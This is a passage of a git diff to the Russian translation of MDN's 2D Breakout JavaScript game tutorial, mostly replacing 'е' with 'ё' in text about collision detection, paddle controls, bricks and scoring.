href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Collision_detection">далее</a> более подробно), чтобы сделать отскок мяча от четырех краев холста.</p> +<p>Приятно наблюдать за нашим мяч, но он быстро исчезает с экрана, удовольствие длится недолго! Чтобы продлить, мы реализуем некоторое очень простое обнаружение столкновений (о которых будет рассказано <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Collision_detection">далее</a> более подробно), чтобы сделать отскок мяча от четырёх краёв холста.</p> <h2 id="Простое_обнаружение_столкновений">Простое обнаружение столкновений</h2> <p>Для обнаружения столкновения мы будем проверять - касается ли мяч стены, и если это так, изменим направление его движения в нужную сторону.</p> -<p>Чтобы сделать расчеты проще, давайте определим переменную <code>ballRadius</code>, что задаст радиус нарисованного круга и будет использоваться для вычислений. Добавьте это в ваш код, где-то ниже существующих переменных:</p> +<p>Чтобы сделать расчёты проще, давайте определим переменную <code>ballRadius</code>, что задаст радиус нарисованного круга и будет использоваться для вычислений. Добавьте это в ваш код, где-то ниже существующих переменных:</p> <pre class="brush: js">var ballRadius = 10;</pre> @@ -37,7 +37,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_ <h3 id="Отскакивание_от_верхней_и_нижней_стены">Отскакивание от верхней и нижней стены</h3> -<p>Есть четыре стены, от которых мяч будет отскакивать — давайте сначала сосредоточимся на верхней. При каждом кадре нужно проверять, коснулся ли мяч верхней границы — если да, то будет обратное движение мяча, поэтому он начнет двигаться в противоположном направлении и остановится в пределах видимой границы. Вспомнив, что система координат начинается с левого верхнего угла, мы можем придумать что-то вроде этого:</p> +<p>Есть четыре стены, от которых мяч будет отскакивать — давайте сначала сосредоточимся на верхней. При каждом кадре нужно проверять, коснулся ли мяч верхней границы — если да, то будет обратное движение мяча, поэтому он начнёт двигаться в противоположном направлении и остановится в пределах видимой границы. Вспомнив, что система координат начинается с левого верхнего угла, мы можем придумать что-то вроде этого:</p> <pre class="brush: js">if(y + dy < 0) { dy = -dy; @@ -45,7 +45,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_ <p>Если значение <code>y</code> положения шара ниже нуля, изменить направление движения по оси <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">y</span></font> установив его с тем же значением но с другим знаком. Если мяч движется вверх со скоростью 2 пикселя на кадр, теперь он будет двигаться "вверх" со скоростью -2 пикселя, что на самом деле означает движение вниз со скоростью 2 пикселя.</p> -<p>Приведенный выше код описывает отражение только от верхней границы, так что теперь давайте думать о нижнем крае:</p> +<p>Приведённый выше код описывает отражение только от верхней границы, так что теперь давайте думать о нижнем крае:</p> <pre class="brush: js">if(y + dy > canvas.height) { dy = -dy; @@ -77,7 +77,7 @@ if(y + dy > canvas.height || y + dy < 0) { <h3 id="Мяч_продолжает_исчезать_в_стене!">Мяч продолжает исчезать в стене!</h3> -<p>Проверьте сейчас свой код, и вы будете впечатлены — теперь мяч, отскакивает от всех четырех краёв нашего <code><canvas></code>! Однако есть некоторая проблема - когда мяч попадает в любую стену, он немного заходит за границы <code><canvas></code> перед отскоком:</p> +<p>Проверьте сейчас свой код, и вы будете впечатлёны — теперь мяч, отскакивает от всех четырёх краёв нашего <code><canvas></code>! Однако есть некоторая проблема - когда мяч попадает в любую стену, он немного заходит за границы <code><canvas></code> перед отскоком:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/10432/ball-in-wall.png" style="display: block; height: 320px; margin: 0px auto; width: 480px;"></p> @@ -94,7 +94,7 @@ if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) { <h2 id="Сравните_ваш_код">Сравните ваш код</h2> -<p>Давайте еще раз проверим готовый код для этой части, и код, что у вас есть, и играйте:</p> +<p>Давайте ещё раз проверим готовый код для этой части, и код, что у вас есть, и играйте:</p> <p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/redj37dc/","","370")}}</p> @@ -104,6 +104,6 @@ if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) { <h2 id="Следующий_шаг">Следующий шаг</h2> -<p>Теперь мы добрались до стадии, где наш мяч одновременно двигается и остаётся на игровом поле. В четвертой главе мы рассмотрим реализацию управления — см. <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Paddle_and_keyboard_controls">Paddle and keyboard controls</a>.</p> +<p>Теперь мы добрались до стадии, где наш мяч одновременно двигается и остаётся на игровом поле. В четвёртой главе мы рассмотрим реализацию управления — см. <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Paddle_and_keyboard_controls">Paddle and keyboard controls</a>.</p> <p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Move_the_ball", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls")}}</p> diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html index c2b6c134d0..043994fe01 100644 --- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/build_the_brick_field/index.html @@ -1,8 +1,8 @@ --- -title: Создаем зону кирпичей +title: Создаём зону кирпичей slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Build_the_brick_field translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Build_the_brick_field -original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаем_зону_кирпичей +original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаём_зону_кирпичей --- <div>{{GamesSidebar}}</div> @@ -44,7 +44,7 @@ for(var c=0; c<brickColumnCount; c++) { } }</pre> -<p>Вышеприведенный код будет прокручивать строки и столбцы и создавать новые кирпичи. Обратите внимание, что кирпичные объекты также будут использоваться для целей обнаружения столкновений позже.</p> +<p>Вышеприведённый код будет прокручивать строки и столбцы и создавать новые кирпичи. Обратите внимание, что кирпичные объекты также будут использоваться для целей обнаружения столкновений позже.</p> <h2 id="Механизм_отрисовки_кирпичей">Механизм отрисовки кирпичей</h2> @@ -71,7 +71,7 @@ var brickY = (r*(brickHeight+brickPadding))+brickOffsetTop;</pre> -<p>Каждая позиция <code>brickX</code> разрабатывается как <code>brickWidth</code> + <code>brickPadding</code> , умноженная на номер столбца, <code>c</code> , плюс <code>brickOffsetLeft</code> ; логика для brickY идентична, за исключением того, что она использует значения для номера строки, <code>r</code>, <code>brickHeight</code> и <code>brickOffsetTop</code> . Теперь каждый отдельный кирпич может быть помещен в правильное место и столбец места, с отступом между каждым кирпичом, нарисованным на смещение от левого и верхнего краев холста.</p> +<p>Каждая позиция <code>brickX</code> разрабатывается как <code>brickWidth</code> + <code>brickPadding</code> , умноженная на номер столбца, <code>c</code> , плюс <code>brickOffsetLeft</code> ; логика для brickY идентична, за исключением того, что она использует значения для номера строки, <code>r</code>, <code>brickHeight</code> и <code>brickOffsetTop</code> . Теперь каждый отдельный кирпич может быть помещён в правильное место и столбец места, с отступом между каждым кирпичом, нарисованным на смещение от левого и верхнего краёв холста.</p> <p>Окончательная версия функции <code>drawBricks()</code> после назначения <code>brickX</code> и <code>brickY</code> в качестве координат вместо <code>(0,0)</code> каждый раз будет выглядеть следующим образом: добавьте это в свой код ниже функции <code>drawPaddle()</code> :</p> diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html index 3f03e0f748..21e52d9a3d 100644 --- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/collision_detection/index.html @@ -8,12 +8,12 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Обнаруже <div>{{IncludeSubnav("/en-US/docs/Games")}}</div> -<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаем_зону_кирпичей", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}</p> +<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаём_зону_кирпичей", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}</p> <div class="summary"> <p>Это 7 шаг из 10 в <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>. Вы можете найти исходный код, как он будет выглядеть после завершения этого урока, тут <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson07.html">Gamedev-Canvas-workshop/lesson7.html</a>.</p> -<p>У нас уже есть кирпичи, появляющиеся на экране, но игра все еще не так интересна, ведь мяч проходит сквозь них. Нам нужно подумать о добавлении обнаружения столкновений, чтобы он мог отскакивать от кирпичей и ломать их.</p> +<p>У нас уже есть кирпичи, появляющиеся на экране, но игра все ещё не так интересна, ведь мяч проходит сквозь них. Нам нужно подумать о добавлении обнаружения столкновений, чтобы он мог отскакивать от кирпичей и ломать их.</p> </div> <p>Конечно, это наше решение, как реализовать это, но может быть сложно рассчитать, касается ли шар прямоугольника или нет, потому что в Canvas нет вспомогательных функций для этого. В этом уроке мы сделаем это самым простым способом. Мы проверим, сталкивается ли центр мяча с любым из данных кирпичей. Это не идеальное решение на все случаи жизни, и есть намного более сложные и эффективные способы обнаружения столкновений, но это научит вас основным понятиям.</p> @@ -53,11 +53,11 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Обнаруже } }</pre> -<p>Добавьте вышеприведенный блок к вашему коду под <code>keyUpHandler() </code>функцией .</p> +<p>Добавьте вышеприведённый блок к вашему коду под <code>keyUpHandler() </code>функцией .</p> <h2 id="Удаление_кирпичей_после_их_попадания">Удаление кирпичей после их попадания</h2> -<p>Вышеприведенный код будет работать, как и задумано, и мяч изменит свое направление. Проблема в том, что кирпичи остаются на своих местах. Мы должны придумать, как избавляться от тех, в которые мы уже попали мячом. Мы можем сделать это, добавив дополнительный параметр кирпичам, определяющий, будет ли кирпич отрисовываться на экране или нет. В той части кода, где мы инициализируем кирпичи, добавим свойство <code>status</code> к каждому кирпичному объекту. Обновите следующую часть кода, как показано ниже:</p> +<p>Вышеприведённый код будет работать, как и задумано, и мяч изменит своё направление. Проблема в том, что кирпичи остаются на своих местах. Мы должны придумать, как избавляться от тех, в которые мы уже попали мячом. Мы можем сделать это, добавив дополнительный параметр кирпичам, определяющий, будет ли кирпич отрисовываться на экране или нет. В той части кода, где мы инициализируем кирпичи, добавим свойство <code>status</code> к каждому кирпичному объекту. Обновите следующую часть кода, как показано ниже:</p> <pre class="brush: js; highlight:[5]">var bricks = []; for(var c=0; c<brickColumnCount; c++) { @@ -124,6 +124,6 @@ for(var c=0; c<brickColumnCount; c++) { <h2 id="Следующие_шаги">Следующие шаги</h2> -<p>Мы уверенно движемся вперёд! Поехали! В восьмой главе мы будем учиться <a href="https://translate.googleusercontent.com/translate_c?act=url&depth=1&hl=ru&ie=UTF8&prev=_t&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Track_the_score_and_win&xid=25657,15700022,15700124,15700149,15700168,15700186,15700190,15700201,15700205&usg=ALkJrhhN9U9TuRM07dQaU3Oyqz2-F5ctig">отслеживать счет и выигрывать</a> .</p> +<p>Мы уверенно движемся вперёд! Поехали! В восьмой главе мы будем учиться <a href="https://translate.googleusercontent.com/translate_c?act=url&depth=1&hl=ru&ie=UTF8&prev=_t&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Track_the_score_and_win&xid=25657,15700022,15700124,15700149,15700168,15700186,15700190,15700201,15700205&usg=ALkJrhhN9U9TuRM07dQaU3Oyqz2-F5ctig">отслеживать счёт и выигрывать</a> .</p> <p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win")}}</p> diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html index 6a62e46e4e..5c09478700 100644 --- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/finishing_up/index.html @@ -27,7 +27,7 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Заключен <pre class="brush: js">var lives = 3;</pre> -<p>Отрисовка счетчика жизни выглядит почти так же, как и счетчика баллов - добавьте в код следующую функцию под функцией <code>drawScore()</code> :</p> +<p>Отрисовка счётчика жизни выглядит почти так же, как и счётчика баллов - добавьте в код следующую функцию под функцией <code>drawScore()</code> :</p> <pre class="brush: js">function drawLives() { ctx.font = "16px Arial"; @@ -56,7 +56,7 @@ else { paddleX = (canvas.width-paddleWidth)/2; }</pre> -<p>Теперь, когда мяч попадает в нижний край экрана, мы вычитаем одну жизнь из переменной <code>lives</code>. Если жизней не осталось, игра проиграна, если осталось еще несколько жизней, то положение мяча и биты сбрасываются вместе с движением мяча.</p> +<p>Теперь, когда мяч попадает в нижний край экрана, мы вычитаем одну жизнь из переменной <code>lives</code>. Если жизней не осталось, игра проиграна, если осталось ещё несколько жизней, то положение мяча и биты сбрасываются вместе с движением мяча.</p> <h3 id="Визуализация_дисплея_жизней">Визуализация дисплея жизней</h3> diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html index 37ed140976..8fa11624a5 100644 --- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/game_over/index.html @@ -12,7 +12,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Game_over <div>{{IncludeSubnav("/en-US/docs/Games")}}</div> -<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаем_зону_кирпичей")}}</p> +<p>{{PreviousNext("Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls", "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаём_зону_кирпичей")}}</p> <div class="summary"> <p>Это - 5-й шаг из 10 из <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>. Вы можете найти исходный код к этому уроку в <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson05.html">Gamedev-Canvas-workshop/lesson5.html</a>.</p> @@ -32,7 +32,7 @@ if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) { dy = -dy; }</pre> -<p>Вместо того, чтобы позволить шару отталкиваться от всех четырех стен, давайте позволим отталкиваться только от трех стен — левую, верхнюю и правую. Удар об нижнюю стенку закончит игру. Мы отредактируем второй блок if, таким образом, что if else вызовет "Конец Игры" , когда шар столкнется с нижней стенкой холста. Сохраните документ, взгляните на выводящееся сообщение перезагрузите игру путем перезагрузки страницы.</p> +<p>Вместо того, чтобы позволить шару отталкиваться от всех четырёх стен, давайте позволим отталкиваться только от трёх стен — левую, верхнюю и правую. Удар об нижнюю стенку закончит игру. Мы отредактируем второй блок if, таким образом, что if else вызовет "Конец Игры" , когда шар столкнётся с нижней стенкой холста. Сохраните документ, взгляните на выводящееся сообщение перезагрузите игру путём перезагрузки страницы.</p> <p>Во-первых, измените код, где вы изначально вызывали <code>setInterval()</code></p> @@ -62,7 +62,7 @@ if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) { <h2 id="Отбить_шар">Отбить шар</h2> -<p>Последняя вещь, которую нужно сделать на этом уроке состоит в том, чтобы создать некоторое обнаружение столкновений между шаром и битой, таким образом, шар оттолкнется от биты и возвратиться в область игры. Самая простая вещь состоит в том, чтобы проверить, является ли центр шара между левыми и правыми краями биты. Обновите последний бит кода, который Вы изменили:</p> +<p>Последняя вещь, которую нужно сделать на этом уроке состоит в том, чтобы создать некоторое обнаружение столкновений между шаром и битой, таким образом, шар оттолкнётся от биты и возвратиться в область игры. Самая простая вещь состоит в том, чтобы проверить, является ли центр шара между левыми и правыми краями биты. Обновите последний бит кода, который Вы изменили:</p> <pre class="brush: js">if(y + dy < ballRadius) { dy = -dy; @@ -90,6 +90,6 @@ if(y + dy > canvas.height-ballRadius || y + dy < ballRadius) { <h2 id="Следующие_шаги">Следующие шаги</h2> -<p>Все идет хорошо и наша игра начинает чувствовать себя намного более достойно. Вы уже можете проиграть! Но все еще не хватает чего-то. Перейдем к шестой главе — <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Build_the_brick_field">Build the brick field</a> — и создадим некоторые кирпичи для шара, чтобы их уничтожить.</p> +<p>Все идёт хорошо и наша игра начинает чувствовать себя намного более достойно. Вы уже можете проиграть! Но все ещё не хватает чего-то. Перейдём к шестой главе — <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Build_the_brick_field">Build the brick field</a> — и создадим некоторые кирпичи для шара, чтобы их уничтожить.</p> <p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field")}}</p> diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/index.html index 2a30bbadb5..0d37f7d427 100644 --- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/index.html @@ -37,12 +37,12 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over">Конец игры</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Build_the_brick_field">Построение поля кирпичей</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Collision_detection">Реакция при столкновении</a></li> - <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win">Счет и выигрыш</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win">Счёт и выигрыш</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Mouse_controls">Контроль мышью</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up">Заключение</a></li> </ol> -<p>Лучший способ получить надежные знания в области разработки браузерных игр — это начать с чистого JavaScript. Затем можно выбрать любой фреймворк для использования в своих проектах. Фреймворки — это инструменты, созданные на языке JavaScript; поэтому, даже если вы планируете работать с ними, нелишним будет сначала изучить сам язык, чтобы понимать, что именно происходит внутри. Фреймворки ускоряют разработку и помогают справиться со скучными частями игры, но если что-то работает не так, как ожидалось, всегда можно попытаться отладить код или написать собственное решение на чистом JavaScript.</p> +<p>Лучший способ получить надёжные знания в области разработки браузерных игр — это начать с чистого JavaScript. Затем можно выбрать любой фреймворк для использования в своих проектах. Фреймворки — это инструменты, созданные на языке JavaScript; поэтому, даже если вы планируете работать с ними, нелишним будет сначала изучить сам язык, чтобы понимать, что именно происходит внутри. Фреймворки ускоряют разработку и помогают справиться со скучными частями игры, но если что-то работает не так, как ожидалось, всегда можно попытаться отладить код или написать собственное решение на чистом JavaScript.</p> <div class="note"> <p><strong>Примечание.</strong> Если вам интересно узнать о разработке двухмерных игр с помощью игровой библиотеки, ознакомьтесь с альтернативной серией статей <a href="/en-US/docs/Games/Workflows/2D_breakout_game_Phaser">2D игра Breakout с использованием Phaser</a>.</p> @@ -54,6 +54,6 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript <h2 id="Следующий_шаг">Следующий шаг</h2> -<p>Ладно, давайте начнем! Перейдите к первой главе — <a href="/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it">Создание Canvas и рисование на нем</a>.</p> +<p>Ладно, давайте начнём! Перейдите к первой главе — <a href="/en-US/docs/Games/Workflows/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it">Создание Canvas и рисование на нем</a>.</p> <p>{{Next("Games/Workflows/2D_Breakout_game_pure_JavaScript/Create_the_Canvas_and_draw_on_it")}} </p> diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html index e6f61bebe1..28cf380c31 100644 --- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/mouse_controls/index.html @@ -23,7 +23,7 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Управлен <h2 id="Отслеживание_движений_мыши">Отслеживание движений мыши</h2> -<p>Отслеживание движений мыши еще проще, чем обработка нажатий клавиш. Все, что нам нужно, это следить за событиями {{event("mousemove")}}. Добавьте следующую строку в том же месте, как и для других событий, чуть ниже <code>keyup event</code>:</p> +<p>Отслеживание движений мыши ещё проще, чем обработка нажатий клавиш. Все, что нам нужно, это следить за событиями {{event("mousemove")}}. Добавьте следующую строку в том же месте, как и для других событий, чуть ниже <code>keyup event</code>:</p> <pre class="brush: js">document.addEventListener("mousemove", mouseMoveHandler, false);</pre> @@ -54,6 +54,6 @@ original_slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Управлен <h2 id="Следующий_шаг">Следующий шаг</h2> -<p>Теперь у нас есть полная игра, мы закончим нашу серию уроков с еще несколькими небольшими хитростями — <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Finishing_up">Finishing up</a>.</p> +<p>Теперь у нас есть полная игра, мы закончим нашу серию уроков с ещё несколькими небольшими хитростями — <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Finishing_up">Finishing up</a>.</p> <p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Finishing_up")}}</p> diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html index f96c85e459..420347d83d 100644 --- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/paddle_and_keyboard_controls/index.html @@ -23,7 +23,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyb var paddleWidth = 75; var paddleX = (canvas.width-paddleWidth)/2;</pre> -<p>Здесь мы определяем высоту и ширину ракетки, и его начальную точку на оси X, для дальнейшего использования в расчетах. Давайте создадим функцию, которая будет рисовать ракетку на экране. Добавьте следующий блок после функции <code>drawBall()</code>:</p> +<p>Здесь мы определяем высоту и ширину ракетки, и его начальную точку на оси X, для дальнейшего использования в расчётах. Давайте создадим функцию, которая будет рисовать ракетку на экране. Добавьте следующий блок после функции <code>drawBall()</code>:</p> <pre class="brush: js">function drawPaddle() { ctx.beginPath(); @@ -76,7 +76,7 @@ function keyUpHandler(e) { <p>Когда мы нажимаем клавишу, эта информация хранится в переменной. Соответствующая переменная в каждом конкретном случае устанавливается в <code>true</code>. Когда клавиша отпущена, переменная устанавливается обратно в <code>false</code>.</p> -<p>Обе функции принимают параметр, представленный переменной <code>e</code>. Из нее вы можете получить полезную информацию: <code>key</code> содержит информацию о нажатой клавише. Например, код 37 — это клавиша стрелка влево и 39 — стрелка вправо. Если стрелка влево нажата, то переменная <code>leftPressed</code> имеет значение <code>true</code>, когда кнопка отпущена, то переменная leftPressed имеет значение false. Та же схема со стрелкой вправо и переменной rightPressed.</p> +<p>Обе функции принимают параметр, представленный переменной <code>e</code>. Из неё вы можете получить полезную информацию: <code>key</code> содержит информацию о нажатой клавише. Например, код 37 — это клавиша стрелка влево и 39 — стрелка вправо. Если стрелка влево нажата, то переменная <code>leftPressed</code> имеет значение <code>true</code>, когда кнопка отпущена, то переменная leftPressed имеет значение false. Та же схема со стрелкой вправо и переменной rightPressed.</p> <h3 id="Логика_перемещения_ракетки">Логика перемещения ракетки</h3> @@ -100,7 +100,7 @@ else if(leftPressed && paddleX > 0) { <p>Позиция <code>paddleX</code> будет двигаться от 0 на левой стороне холста и <code>canvas.width-paddleWidth</code> на правой стороне. Это будет работать именно так, как нам нужно.</p> -<p>Добавьте вышеприведенный блок кода в функцию <code>draw()</code> в самый конец, чуть выше закрывающей фигурной скобки.</p> +<p>Добавьте вышеприведённый блок кода в функцию <code>draw()</code> в самый конец, чуть выше закрывающей фигурной скобки.</p> <p>Единственное, что осталось сделать сейчас, это вызвать <code>drawPaddle()</code> функцию внутри функции <code>draw()</code>, чтобы нарисовать ракетку на экране. Добавьте следующую строку внутрь функции <code>draw()</code>, чуть ниже строки, которая вызывает <code>drawBall()</code>:</p> @@ -114,11 +114,11 @@ else if(leftPressed && paddleX > 0) { <p>{{JSFiddleEmbed("https://jsfiddle.net/end3r/tgn3zscj/","","320")}}</p> <div class="note"> -<p><span style="font-size: 14px;"><strong>Упражнение</strong></span>: Сделайте скорость движения ракетки быстрее или медленнее, или измените ее размер.</p> +<p><span style="font-size: 14px;"><strong>Упражнение</strong></span>: Сделайте скорость движения ракетки быстрее или медленнее, или измените её размер.</p> </div> <h2 id="Следующий_шаг">Следующий шаг</h2> -<p>Теперь у нас есть что-то похожее на игру. Беда только в том, что пока вы можете лишь бесконечно бить мяч ракеткой. Это все изменится в пятой главе, <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Game_over">Game over</a>, когда мы начнем добавлять конечное состояние для нашей игры.</p> +<p>Теперь у нас есть что-то похожее на игру. Беда только в том, что пока вы можете лишь бесконечно бить мяч ракеткой. Это все изменится в пятой главе, <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch/Game_over">Game over</a>, когда мы начнём добавлять конечное состояние для нашей игры.</p> <p>{{PreviousNext("Games/Workflows/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls", "Games/Workflows/2D_Breakout_game_pure_JavaScript/Game_over")}}</p> diff --git a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html index f9993a8b31..cef5f1e065 100644 --- a/files/ru/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html +++ b/files/ru/games/tutorials/2d_breakout_game_pure_javascript/track_the_score_and_win/index.html @@ -1,12 +1,12 @@ --- -title: Счет и выигрыш +title: Счёт и выигрыш slug: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win tags: - JavaScript - Игры - Начинающий - Учебник - - счет + - счёт translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win --- <div>{{GamesSidebar}}</div> @@ -19,9 +19,9 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score <p>Это 8й шаг из 10 в <a href="https://developer.mozilla.org/en-US/docs/Games/Workflows/Breakout_game_from_scratch">Gamedev Canvas tutorial</a>. Вы можете найти исходный код для этого урока по ссылке <a href="https://github.com/end3r/Gamedev-Canvas-workshop/blob/gh-pages/lesson08.html">Gamedev-Canvas-workshop/lesson8.html</a>.</p> </div> -<p><span class="seoSummary">Уничтожение кирпичей действительно классно, но, чтобы быть еще более удивительным, игра должна присуждать очки за каждый кирпич, в который попадает игрок, и подсчитывать общий балл.</span></p> +<p><span class="seoSummary">Уничтожение кирпичей действительно классно, но, чтобы быть ещё более удивительным, игра должна присуждать очки за каждый кирпич, в который попадает игрок, и подсчитывать общий балл.</span></p> -<h2 id="Подсчет_очков">Подсчет очков</h2> +<h2 id="Подсчёт_очков">Подсчёт очков</h2> <p>Если вы можете увидеть свои очки на протяжении всей игры, вы можете произвести впечатление на своих друзей. Вам нужна переменная для записи очков. Добавьте следующие данные в свой JavaScript, после остальных переменных:</p> @@ -35,7 +35,7 @@ translation_of: Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score ctx.fillText("Score: "+score, 8, 20); }</pre> -<p>Рисование текста на канве аналогично рисованию фигур. Определение шрифта выглядит точно так же, как и в CSS - вы можете установить размер и тип шрифта в {{domxref("CanvasRenderingContext2D.font","font()")}} методе. Затем используйте {{domxref("CanvasRenderingContext2D.fillStyle()","fillStyle()")}} для установки цвета шрифта и {{domxref("CanvasRenderingContext2D.fillText","fillText()")}} для установки фактического текста, который будет помещен на канву, и где он будет размещен. Первым параметром является сам текст - приведенный выше код показывает текущее количество точек, а два последних параметра - это координаты, в которых текст будет помещен на канву.</p> +<p>Рисование текста на канве аналогично рисованию фигур. Определение шрифта выглядит точно так же, как и в CSS - вы можете установить размер и тип шрифта в {{domxref("CanvasRenderingContext2D.font","font()")}} методе. Затем используйте 